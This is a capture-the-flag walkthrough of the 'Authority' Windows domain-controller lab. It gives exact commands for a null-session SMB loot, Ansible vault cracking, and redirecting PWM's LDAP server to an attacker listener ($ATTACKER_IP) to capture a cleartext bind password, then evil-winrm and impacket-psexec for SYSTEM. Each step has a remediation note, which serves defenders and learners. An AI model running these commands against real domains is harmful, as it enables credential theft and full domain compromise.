← all walkthroughs

Authority

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-03
time to own
34m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An anonymous SMB share leaked an Ansible vault containing the credentials for the domain's PWM (Password Self-Service) web application. Those credentials unlocked PWM's Configuration Editor, which was then abused to redirect the DC's own LDAP client from encrypted LDAPS to a plaintext listener I controlled — when the editor was told to "test" the connection, the domain controller obediently bound to my listener and handed over the cleartext password for the AUTHORITY\svc_ldap service account.

That account authenticated over WinRM for an interactive foothold and user.txt, and turned out to also hold effective administrative rights on the domain controller itself, allowing a direct SMB/RPC command execution as SYSTEM and full compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration (T1046)
Fingerprinted the target as an Active Directory domain controller
A port sweep of $TARGET showed the full service set of a Windows domain controller for authority.htb — DNS, Kerberos (88), LDAP/LDAPS/GC (389/636/3268/3269), SMB (139/445), WinRM (5985) — plus an unusual PWM (Password Self-Service) web application exposed on HTTPS 8443 under the hostname authority.authority.htb.
Exact commands 2
Full TCP port/service scan.
nmap -sC -sV -p- $TARGET
Resolve the domain and DC hostname locally.
echo "$TARGET authority.htb authority.authority.htb" | sudo tee -a /etc/hosts
2Initial AccessAnonymous SMB share access + offline Ansible Vault password cracking (T1552.001)
Read an anonymously-accessible SMB share and cracked an Ansible vault
The 'Development' SMB share allowed anonymous (unauthenticated) access. Under Automation\Ansible, the PWM server role's defaults/main.yml contained three Ansible Vault-encrypted variables (pwm_admin_login, pwm_admin_password, ldap_admin_password). The vault blob was crackable offline with a wordlist, yielding the PWM configuration-editor password.
Exact commands 5
List shares with no credentials (null session).
smbclient -N -L //$TARGET/
Pull the Ansible role tree; look at roles/*/defaults/main.yml for !vault blocks.
smbclient -N //$TARGET/Development -c 'recurse ON; prompt OFF; mget Automation\Ansible\*'
Convert the Ansible Vault ciphertext to a hashcat/john-crackable format.
ansible2john vault_blob.txt > vault.hash
GPU-crack the vault password.
hashcat -m 16900 vault.hash /usr/share/wordlists/rockyou.txt
Recover pwm_admin_login / pwm_admin_password / ldap_admin_password in cleartext.
ansible-vault decrypt --vault-password-file cracked_pw.txt vault_blob.txt
FixRemove anonymous access to SMB shares and stop storing credentials on themHigh
WeaknessThe 'Development' SMB share allowed unauthenticated (anonymous) read access and contained an Ansible role tree with vault-encrypted admin credentials, giving an unauthorised user a crackable copy of production secrets.
FixDisable the Guest account and anonymous/null-session SMB access domain-wide (RestrictAnonymous / disable Guest), require authentication on all shares, and remove credential material — even vault-encrypted — from source/config repositories on file shares; use a secrets manager (HashiCorp Vault, Ansible Vault with a securely-distributed key, or a CI/CD secret store) instead.
3ExploitationCredential reuse against an internal admin console
Logged into the PWM Configuration Editor with the recovered credentials
The password recovered from the Ansible vault authenticated to PWM's Configuration Editor at https://authority.authority.htb:8443/pwm/private/config/login, giving read/write access to the application's live LDAP settings — including the currently-configured LDAP server URL (ldaps://authority.authority.htb:636).
Authenticated ConfigEditor session confirmed reading ldap.serverUrls (LDAP_BASE category, isDefault:false).
Exact commands 2
Fetch the login page and harvest the one-time pwmFormID token from the HTML.
curl --resolve authority.authority.htb:8443:$TARGET -ksS -D /tmp/pwm_headers.txt -o /tmp/pwm_login.html https://authority.authority.htb:8443/pwm/private/config/login
Authenticate to the Configuration Editor using the cracked password.
curl -ksS -c /tmp/pwm.cookies -b /tmp/pwm.cookies -H 'Host: authority.authority.htb' --data-urlencode "password=$PASSWORD" --data-urlencode 'processAction=login' --data-urlencode 'pwmFormID=<token_from_login_page>' https://$TARGET:8443/pwm/private/config/login
FixStop reusing a single crackable password to gate a privileged admin consoleHigh
WeaknessPWM's Configuration Editor — a privileged interface that can read and rewrite the application's LDAP integration settings — was protected only by a password that had been distributed (vault-encrypted) via an Ansible role and was crackable with a standard wordlist.
FixSet a unique, high-entropy configuration-editor password not derived from any shared vault, restrict the /pwm/private/config path to an admin-only network segment or VPN, and enable PWM's built-in IP/host restriction for the configuration interface.
4Credential AccessForced protocol downgrade to capture credentials in transit (T1557 / cleartext credential exposure)
Downgraded the LDAP connection to plaintext and captured the service account's password
Rather than trying to read the LDAP bind password directly (PWM never displays it), the LDAP server URL setting was changed from ldaps://authority.authority.htb:636 to ldap://$ATTACKER_IP:389 — an unencrypted endpoint under my control. Clicking 'Test LDAP Profile' in the editor made the domain controller itself connect out to that listener and perform a simple LDAP bind, sending the DN and password for AUTHORITY\svc_ldap in cleartext.
Target $TARGET connected outbound to $ATTACKER_IP:389; captured bind: CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb with a cleartext password.
Exact commands 3
Listener to capture the incoming plaintext LDAP simple-bind.
nc -lnvp 389
Rewrite the configured LDAP URL to my own plaintext listener.
curl -ksS -c /tmp/pwm.cookies -b /tmp/pwm.cookies -H 'Host: authority.authority.htb' --data-urlencode 'processAction=writeSetting' --data-urlencode 'key=ldap.serverUrls' --data-urlencode 'value=["ldap://$ATTACKER_IP:389"]' https://$TARGET:8443/pwm/private/config/editor/settings/LDAP_BASE
Trigger 'Test LDAP Profile' — the DC binds to the listener and leaks svc_ldap's password.
curl -ksS -c /tmp/pwm.cookies -b /tmp/pwm.cookies -H 'Host: authority.authority.htb' --data-urlencode 'processAction=testLdapProfile' https://$TARGET:8443/pwm/private/config/editor
FixPrevent the LDAP profile tester from binding to externally controlled, unencrypted endpointsCritical
WeaknessThe Configuration Editor let an authenticated admin change the configured LDAP server URL to any address, including an unencrypted ldap:// endpoint, and then triggered the server itself to bind there with the real service account's password in cleartext — turning a config-write primitive into full credential disclosure.
FixEnforce LDAPS-only server URLs in PWM (reject ldap:// scheme changes), pin/allow-list the LDAP server URL to known internal DC addresses, and block outbound LDAP (389/636) from the DC to non-domain hosts at the host firewall so a redirected bind can never reach an external listener.
5FootholdRemote Services: Windows Remote Management (T1021.006)
Authenticated over WinRM as svc_ldap and captured user.txt
The captured AUTHORITY\svc_ldap credentials worked for remote management authentication (WinRM), giving an interactive PowerShell session on the domain controller.
Ruby winrm_once.rb ... 'Get-Content C:\Users\svc_ldap\Desktop\user.txt' returned the flag; run pre-flag'd with whoami confirming svc_ldap context.
Exact commands 3
Interactive WinRM shell as svc_ldap.
evil-winrm -i $TARGET -u svc_ldap -p '$PASSWORD2'
Prove the access level before reading the flag.
whoami
Read the user flag; replace output with <user.txt> when reporting.
type C:\Users\svc_ldap\Desktop\user.txt
6Privilege EscalationExcessive service-account privileges + SMB/RPC remote service execution (T1543.003)
Reused svc_ldap's credentials for SYSTEM-level command execution
The svc_ldap account turned out to hold effective administrative rights on the domain controller (sufficient for remote service creation via SMB/RPC). Impacket-psexec used the same captured credentials to drop a service binary over the ADMIN$ share and execute commands as SYSTEM, reading root.txt directly.
Impacket-psexec 'HTB/svc_ldap:[REDACTED: recovered credential]@$TARGET' created service WIqV via ADMIN$ upload and ran cmd.exe, returning the contents of C:\Users\Administrator\Desktop\root.txt.
Exact commands 2
Confirm SYSTEM-level execution before reading the flag.
impacket-psexec "AUTHORITY.HTB/svc_ldap:$PASSWORD2@$TARGET" whoami
Read the root flag; replace output with <root.txt> when reporting.
impacket-psexec "AUTHORITY.HTB/svc_ldap:$PASSWORD2@$TARGET" 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt'
FixApply least privilege to the svc_ldap service accountCritical
WeaknessAUTHORITY\svc_ldap, intended only as an LDAP bind account for an application, held effective administrative rights on the domain controller — enough to remotely create and run services via SMB/RPC (impacket-psexec) — turning one leaked application credential into full domain-controller compromise.
FixRemove svc_ldap from any local Administrators / privileged AD group, grant it only the specific LDAP read rights PWM requires, and migrate service accounts to Group Managed Service Accounts (gMSA) so passwords are never held or transmitted by an application in the first place.

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
8443/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49671/tcp
49674/tcp
49675/tcp
49679/tcp
49682/tcp
49687/tcp
49700/tcp
59560/tcp
53/udp